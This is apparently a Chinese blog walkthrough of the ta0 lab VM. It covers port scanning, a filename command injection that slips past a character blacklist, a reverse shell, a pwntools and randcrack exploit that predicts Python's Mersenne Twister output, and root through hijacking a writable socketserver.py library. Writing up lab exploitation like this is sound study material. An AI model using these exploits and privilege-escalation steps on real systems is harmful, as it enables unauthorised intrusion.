Temp-ta0-walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.158 08:00:27:8b:26:c9 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.054 seconds (124.63 hosts/sec). 4 responded
export ip=192.168.60.158
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.158:22
Open 192.168.60.158:5000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-28 07:57 CST
Initiating ARP Ping Scan at 07:57
Scanning 192.168.60.158 [1 port]
Completed ARP Ping Scan at 07:57, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:57
Completed Parallel DNS resolution of 1 host. at 07:57, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:57
Scanning 192.168.60.158 [2 ports]
Discovered open port 22/tcp on 192.168.60.158
Discovered open port 5000/tcp on 192.168.60.158
Completed SYN Stealth Scan at 07:57, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.60.158
Host is up, received arp-response (0.00037s latency).
Scanned at 2025-04-28 07:57:50 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
5000/tcp open upnp syn-ack ttl 64
MAC Address: 08:00:27:8B:26:C9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

开放了5000端口

探测一下服务,是个web页面

1
2
❯ whatweb http://$ip:5000
http://192.168.60.158:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.1.3 Python/3.9.2], IP[192.168.60.158], Python[3.9.2], Script, Title[在线图片转 Base64], Werkzeug[3.1.3]

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ gobuster dir -u http://$ip:5000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 50 -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.158:5000
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 405) [Size: 153]
/backdoor (Status: 200) [Size: 7008]

有个backdoor,不过并没有什么用

只是一个迷惑你的网页,让你以为有后门

命令执行

尝试浏览器访问首页,功能就是上传图片后将图片转为base64编码

image

并没有文件上传漏洞,要有此漏洞那必然会上传到某路径下

upload下只允许POST访问,没有目录显示,只会显示图片的base64

利用yakit抓包重放一下

当我上传一个cat.jpg的图片时会显示{"error":"No hacking!"}

猜测可能时根据图片名称进行命令执行,发现只要存在某字符就报错

比如a.jpg不行b.jpg就可以

所以我们可以测试哪些字符可行

利用python打印所有可见字符(包含空格)

1
2
3
4
❯ python3 -c "visible_chars = ''.join(chr(i) for i in range(32, 127))
print(visible_chars)"|tee aaa
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
❯ cat aaa|sed 's/./&\n/g'>abc

尝试重放一下

得知以下字符时不被允许的

1
%("*#')&./!<=;>@[\]_^`ahlots{}~

其他字符是可以执行的

1
-,:?+|$0123456789ABbCcDdEeFfGgHIiJjKkLMmNnOPpQqRrSTUuVvWwXxYyZz

那尝试ping一下本机不过不允许出现.字符

其实IP地址可以用纯数字替代

让GPT生成一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys

def ip_to_int(ip_str):
"""
将 IPv4 地址转换为 32 位整数
"""
octets = ip_str.split('.')
if len(octets) != 4:
raise ValueError("IP 地址必须包含 4 个用点分隔的字段")

nums = []
for octet in octets:
num = int(octet)
if not 0 <= num <= 255:
raise ValueError(f"字段值 {num} 超出 0-255 范围")
nums.append(num)

return (nums[0] << 24) | (nums[1] << 16) | (nums[2] << 8) | nums[3]

if __name__ == "__main__":
# 验证命令行参数
if len(sys.argv) != 2:
print(f"使用方法: {sys.argv[0]} <IPv4地址>")
print("示例: python3 ip2int.py 192.168.1.1")
sys.exit(1)

# 执行转换
try:
result = ip_to_int(sys.argv[1])
print(f"IP地址 {sys.argv[1]} 的整数表示为: {result}")
except ValueError as e:
print(f"错误: {e}")
sys.exit(1)

执行一下

1
2
3
4
5
6
7
8
9
10
❯ python3 ip2int.py 192.168.60.100
IP地址 192.168.60.100 的整数表示为: 3232250980
❯ ping 3232250980
PING 3232250980 (192.168.60.100) 56(84) bytes of data.
64 bytes from 192.168.60.100: icmp_seq=1 ttl=64 time=0.134 ms
64 bytes from 192.168.60.100: icmp_seq=2 ttl=64 time=0.015 ms
^C
--- 3232250980 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1013ms
rtt min/avg/max/mdev = 0.015/0.074/0.134/0.059 ms

尝试用|绕过,注入命令执行

因为不允许出现sh等字符,可以采用$0指向本身OverTheWire-Bandit游戏 | Pepster’Blog

或者使用大写,大写全部都没有被过滤,使用$SHELL

image

用户提权

监听端口,即可拿到web shell

1
2
3
4
5
6
7
8
9
10
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from ta0-192.168.60.158-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/ta0~192.168.60.158_Linux_x86_64/2025_04_28-09_16_20-999.log 📜
───────────────────────────────────────────────────────────────────────────
www-data@ta0:~$

再次信息收集,可以得知存在da1sy用户并且本地开放4444端口

1
2
3
4
5
6
7
8
9
10
11
www-data@ta0:~$ cat /etc/passwd |grep /bin/bash
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/app:/bin/bash
da1sy:x:1000:1001:,,,:/home/da1sy:/bin/bash
www-data@ta0:~$ ss -luntp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:4444 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:5000 0.0.0.0:* users:(("python3.9",pid=341,fd=3))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*

梅森旋转算法

/opt目录下存在4444端口服务的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
www-data@ta0:/opt$ cat server.py
import random
import socketserver

class MultiplicationGame(socketserver.BaseRequestHandler):
def send(self, msg):
self.request.sendall(msg.encode())

def recv_input(self, prompt='', timeout=2.0):
import socket
self.send(prompt)
data = b""
self.request.settimeout(timeout)
try:
while True:
part = self.request.recv(1)
if not part:
break
data += part
if part == b'\n':
break
except (socket.timeout, ConnectionResetError, BrokenPipeError):
pass
return data.decode(errors='ignore').strip()


def handle(self):
self.send("=== Welcome to the Totally Legit Multiplication Challenge ===\n")
menu = "[1] Multiply some numbers\n[2] Get the secret flag (if you're lucky)\n"
self.send(menu)

while True:
choice = self.recv_input(">> Choose your destiny: ")

if choice == '1':
try:
factor = int(self.recv_input("Give me a number to multiply: "))
rand_val = random.getrandbits(32)
result = rand_val * factor
self.send(f"Boom! {rand_val} * {factor} = {result}\n")
except:
self.send("That's not a number! I need digits, my friend.\n")

elif choice == '2':
try:
ans = int(self.recv_input("Alright, what’s the product? "))
r1 = random.getrandbits(11000)
r2 = random.getrandbits(10000)
expected = r1 * r2
if ans == expected:
self.send("Congratulation,there is no real random\n")
with open("pass", "r") as f:
self.send(f"Here's your pass: {f.read()}\n")
else:
self.send(f"Nope! The actual answer was {expected}\n")
except:
self.send("No funny business, just give me a number.\n")

else:
self.send("I don’t understand that choice. Try again.\n")

if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 4444
with socketserver.ThreadingTCPServer((HOST, PORT), MultiplicationGame) as server:
print(f"🔧 Server running on port {PORT} - waiting for challengers!")
server.serve_forever()
  1. 选项 1:用户输入一个数字,服务端生成 32 位随机数并返回乘积结果。
  2. 选项 2:用户猜测两个超大随机数的乘积,正确则返回 pass 文件内容(即 flag)。

nc连接一下

1
2
3
4
5
www-data@ta0:/opt$ nc 127.0.0.1 4444
=== Welcome to the Totally Legit Multiplication Challenge ===
[1] Multiply some numbers
[2] Get the secret flag (if you're lucky)
>> Choose your destiny: I don’t understand that choice. Try again.

先将端口转发出来

1
2
www-data@ta0:~/toolkit-ByTshvke$ ./socat TCP-LISTEN:1234,fork TCP4:127.0.0.1:4444&
[1] 669

利用如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from randcrack import RandCrack
from tqdm import tqdm
import re

# 配置参数
HOST = '192.168.60.158'
PORT = 1234
TIMEOUT = 5
MAX_RETRY = 3

def extract_rand(response):
"""使用正则表达式提取随机数"""
match = re.search(r'\d+', response)
if not match:
raise ValueError("未找到随机数")
return int(match.group())

def main():
rc = RandCrack()

# 连接服务端(含超时和重试)
for _ in range(MAX_RETRY):
try:
p = remote(HOST, PORT, timeout=TIMEOUT)
p.recvuntil(b'iny: ') # 假设初始提示包含 "iny: "
break
except Exception as e:
print(f"连接失败: {e}, 重试中...")
else:
print("无法连接服务端")
return

# 收集 624 个随机数
for _ in tqdm(range(624), desc="收集随机数"):
try:
p.sendline(b'1')
p.sendlineafter(b'multiply: ', b'1')
response = p.recvline().decode()
rand_val = extract_rand(response)
rc.submit(rand_val)
except Exception as e:
print(f"错误: {e}, 跳过当前样本")
continue

# 预测 r1 和 r2
try:
# 假设服务端生成 r1 和 r2 前无其他随机操作
rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
product = rand1 * rand2
except ValueError as e:
print(f"预测失败: {e}")
p.close()
return

# 提交答案
try:
p.sendline(b'2')
p.recvuntil(b'uct? ')
p.sendline(str(product).encode())
# 获取响应
response1 = p.recvline().decode().strip()
response2 = p.recvline().decode().strip()
print("响应 1:", response1)
print("响应 2:", response2)
except Exception as e:
print(f"提交答案失败: {e}")

p.close()

if __name__ == "__main__":
main()

尝试执行一下

得到pass

1
2
3
4
5
6
❯ python3 num.py
[◢] Opening connection to 192.168.60.158 on port 1234: Trying 192.168.60.1[+] Opening connection to 192.168.60.158 on port 1234: Done
收集随机数: 100%|███████████████████████| 624/624 [00:31<00:00, 19.74it/s]
响应 1: Congratulation,there is no real random
响应 2: Here's your pass: e2e54827ac94e69c0c0ee320cb18c787
[*] Closed connection to 192.168.60.158 port 1234

并且在/opt下还存在隐藏文件夹...

将压缩包拷贝到/tmp目录下,解压得到five.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@ta0:/opt$ cd ...
www-data@ta0:/opt/...$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Feb 2 00:00 .
drwxr-xr-x 3 root root 4096 Feb 2 00:00 ..
-rw-r--r-- 1 da1sy da1sy 2613 Feb 2 00:00 da1sy.zip
-rw-r--r-- 1 root root 20 Feb 2 00:00 hint.txt
www-data@ta0:/opt/...$ cp da1sy.zip /tmp/
www-data@ta0:/opt/...$ cd /tmp/
www-data@ta0:/tmp$ unzip da1sy.zip
Archive: da1sy.zip
[da1sy.zip] da1sy.xsh password:
inflating: five.txt

得到一串hash

在线解密拿到密码Hikari

image

Root 提权

尝试连接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh da1sy@$ip
[email protected]'s password:
Linux ta0 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Apr 23 01:06:49 2025 from 192.168.31.34
da1sy@ta0:~$ cat user.txt
flag{user-8feb23165915ac86d329fb1dfa5fe9b8}

再次信息收集

发现unlink拥有suid权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
da1sy@ta0:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/unlink
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/systemctl
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

Pyhton 库劫持

并且用户存在sudo权限

1
2
3
4
5
6
7
da1sy@ta0:~$ sudo -l
Matching Defaults entries for da1sy on ta0:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User da1sy may run the following commands on ta0:
(ALL : ALL) NOPASSWD: /usr/sbin/reboot
(ALL : ALL) NOPASSWD: /usr/bin/ln -s /usr/bin/python3.* /usr/bin/python3

我们可以查看进程,发现/opt/server.py是利用python3进行执行的

1
2
3
da1sy@ta0:~$ ps aux|grep python
root 340 0.0 0.5 90260 10592 ? Ss 21:15 0:00 /usr/bin/python3 /opt/server.py
www-data 341 0.0 1.3 107804 27024 ? Ssl 21:15 0:00 /usr/bin/python3.9 /app/app.py

python3链接的就是python3.9

1
2
da1sy@ta0:~$ readlink /usr/bin/python3
/usr/bin/python3.9

并且在python3.7下有个py文件可以进行写入

1
2
3
4
5
6
7
8
9
10
11
12
13
da1sy@ta0:~$ dpkg -V
??5?????? /usr/lib/python3.7/socketserver.py
??5?????? c /etc/irssi.conf
??5?????? c /etc/apache2/apache2.conf
??5?????? /bin/date
??5?????? /usr/bin/id
??5?????? /usr/bin/whoami
dpkg: warning: systemd: unable to open /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla for hash: Permission denied
??5?????? /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
^C
da1sy@ta0:~$ ls -al /usr/lib/python3.7/socketserver.py
-rw-r--rw- 1 root root 26923 Apr 21 04:51 /usr/lib/python3.7/socketserver.py

/opt/server.py脚本会调用socketserver这个库

所以我们修改库文件,并且将python3链接到python3.7即可完成劫持

1
da1sy@ta0:~$ vi /usr/lib/python3.7/socketserver.py

image

1
2
3
4
da1sy@ta0:~$ unlink /usr/bin/python3
da1sy@ta0:~$ sudo /usr/bin/ln -s /usr/bin/python3.7 /usr/bin/python3
da1sy@ta0:~$ readlink /usr/bin/python3
/usr/bin/python3.7

重启后即可发现bash拥有了suid权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
da1sy@ta0:~$ sudo /usr/sbin/reboot
da1sy@ta0:~$ Connection to 192.168.60.158 closed by remote host.
Connection to 192.168.60.158 closed.
❯ ssh da1sy@$ip
[email protected]'s password:
Linux ta0 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 27 22:34:02 2025 from 192.168.60.100
-bash-5.0$ id
uid=0(root) gid=0(root) groups=0(root)
-bash-5.0$ bash -p
bash-5.0# cd /root
bash-5.0# ls
theroot.txt
bash-5.0# cat theroot.txt
flag{root-e2e54827ac94e69c0c0ee320cb18c787}
总字数 541.7k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务